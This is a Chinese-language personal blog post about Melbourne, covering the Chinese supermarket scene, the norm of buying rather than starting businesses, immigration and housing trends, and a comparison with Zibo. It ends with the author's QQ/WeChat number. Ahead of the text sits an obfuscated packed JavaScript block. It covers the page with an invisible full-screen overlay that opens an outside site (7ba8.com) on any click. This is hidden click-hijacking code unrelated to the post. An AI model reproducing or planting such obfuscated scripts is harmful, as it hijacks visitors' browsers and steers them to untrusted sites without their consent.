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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>昨天我们到朋友家做客，回来的路上想到华人超市去买些调料。10多年前留学的时候我兼职做送货司机，跑遍了墨尔本的大街小巷，哪个区有华人超市都了如指掌。我们径直奔向最近的一家，本来还有些忐忑，因为这家店面不大，不知是否已经改头换面。但让我们欣慰的是，不仅店铺还在，名字也没有换，而且还扩大了面积，楼上也装修一新，齐刷刷让我们买了好多西人超市里面没有的中国货。与中国不同，在澳大利亚，创业的少，买生意的多。政府不是不鼓励创业，而是更重视已经存在的生意和适当的竞争。每个区有什么类型的店铺都是有数量限制的，如果超出一定数量政府就不批了。即使是买生意，如果想把店铺转做其他类型的生意也是不允许的。买生意就意味着买了稳定的客户源和成型的管理模式，与创业相比，风险要小很多。生意之间的买卖充斥着整个墨尔本，华人从只做餐饮生意到覆盖社会的各行各业，从华人之间到亚洲人之间再到各个种族之间，墨尔本是全球各族人民大融合的一个缩影。随着人口的增加，墨尔本也在不断地开发卫星城，以及周边新的住宅区。开发的过程其实就是复制的过程，城市规划作为一门专业已经相当成熟，无论是生意人还是新入住的居民都不需要有新的适应过程。 墨尔本和淄博还真的很像。墨尔本市区的面积比张店老城区稍大一点，只不过是摩天大楼鳞次栉比。加上住宅区以后的大墨尔本地区的面积也比淄博市稍大一点，人口密度比我们的城区要小，比农村要高。整个墨尔本的人口和淄博市差不多，都是400多万。墨尔本的人口也是在逐年增加的，10年前还只有300多万，现在已经涨到了400多万，只不过墨尔本人口的增加主要靠移民。几十年前的墨尔本是没有公寓的（相当于我们的单元房），老外都喜欢住带花园的大房子（House）。后来随着人口的增加，市区带花园的大房子就被分隔成了不带花园的小房子（Townhouse），房屋增加到两层，这样居住面积不变，不影响生活质量。最近这十多年，市区附近不带花园的小房子也在逐渐减少，而代之以高度不等的大大小小的公寓。这是一个逐步向外辐射的过程。只不过因为老外宁可住的离市中心远一点也不愿意住公寓，导致公寓的价格涨幅很小，而带花园的大房子的价格则在不断的飙升。这样对于喜欢买房子的中国人来说则有了更多的选择，对于经济条件不太宽裕的年轻人也能居者有其屋。公寓通常都是建在繁华的商业区或者是大片的绿地或河流、海边附近，对于没有花园草地情结、资金不太宽裕、打算自住的中国留学生来说，确实是性价比非常高的选择（相对于国内的单元房）。 我的QQ号和微信号：1047375085 |
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